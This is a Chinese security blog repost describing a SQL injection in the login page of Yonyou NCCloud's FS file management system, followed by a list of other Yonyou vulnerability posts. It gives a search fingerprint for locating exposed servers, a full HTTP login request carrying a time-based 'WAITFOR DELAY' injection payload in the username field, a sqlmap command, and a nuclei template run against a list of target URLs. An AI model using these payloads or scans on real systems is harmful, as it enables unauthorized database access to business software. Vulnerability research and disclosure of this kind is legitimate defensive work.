用友 NCCloud FS文件管理SQL注入 nuclei

admin 2023年2月2日01:14:31评论141 views字数 1551阅读5分10秒阅读模式
用友 NCCloud FS文件管理SQL注入 nuclei
    文章声明

安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。
本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。



用友 NCCloud FS文件管理SQL注入 nuclei


文章简介

用友 NCCloud FS文件管理登录页面对用户名参数没有过滤,存在SQL注入



网络测绘

"NCCloud"



演示过程

登录页面如下

用友 NCCloud FS文件管理SQL注入 nuclei


登录请求包如下

GET /fs/console?username=222';WAITFOR%20DELAY%20'0:0:5%20--&password=WiEZoxowjDhBk7bfE9nvzP3TjiK/RivMT1jKxrq42bI HTTP/1.1Host: Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: JSESSIONID=2CF7A25EE7F77A064A9DA55456B6994D.server; JSESSIONID=0F83D6A0F3D65B8CD4C26DFEE4FCBC3C.serverConnection: close

payload位时间注入判断,WAITFOR DELAY '0:0:5 等于sleep(5)发送数据包后页面等待5秒后访问

用友 NCCloud FS文件管理SQL注入 nuclei


sqlmap抓取登录包可直接跑

sqlmap -r 1.txt

用友 NCCloud FS文件管理SQL注入 nuclei


nuclei-pocs

nuclei -t yonyou_NCCloud_Fs_Sqli.yaml -l url.txt


公众号:北极星sec  回复1012获取

用友 NCCloud FS文件管理SQL注入 nuclei




用友漏洞待更新记录(已更新18)

  • 用友 U8 OA test.jsp SQL注入漏洞

  • 用友nc v6.5 远程命令执行漏洞(CNVD-2021-30167)

  • 用友 畅捷通T+ DownloadProxy.aspx 任意文件读取漏洞

  • 用友 畅捷通T+ RecoverPassword.aspx 管理员密码修改漏洞

  • 用友 畅捷通T+ Upload.aspx 任意文件上传漏洞

  • 用友 U8 OA getSessionList.jsp 敏感信息泄漏漏洞

  • 用友 NC NCFindWeb 任意文件读取漏洞

  • 用友 GRP-U8 Proxy SQL注入 CNNVD-201610-923

  • 用友 GRP-U8 UploadFileData 任意文件上传漏洞 

  • 用友 FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞

  • 用友nc 控制台绕过漏洞

  • 用友 NC 系统 uapws wsdl XXE(2022hw) 

  • 用友时空KSOA软件前台文件上传漏洞(2022hw)

  • 用友nc v6.5 反射型xss

  • 用友nc接口信息泄露漏洞

  • 用友GRP-U8 财务管理软件servlet

  • 用友 NCCloud FS文件管理SQL注入

  • 用友nc v6.5 反序列化漏洞 补丁绕过

  • 用友nc v6.5 反序列化漏洞

  • (CNVD-2021-37786)用友nc Cloud FS 文件管理系统 任意账户登录漏洞

  • 用友nc IUFO v5



用友 NCCloud FS文件管理SQL注入 nuclei




用友 NCCloud FS文件管理SQL注入 nuclei

用友 NCCloud FS文件管理SQL注入 nuclei

用友 NCCloud FS文件管理SQL注入 nuclei




原文始发于微信公众号(北极星sec):用友 NCCloud FS文件管理SQL注入 nuclei

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日01:14:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友 NCCloud FS文件管理SQL注入 nucleihttps://cn-sec.com/archives/1344923.html

发表评论

匿名网友 填写信息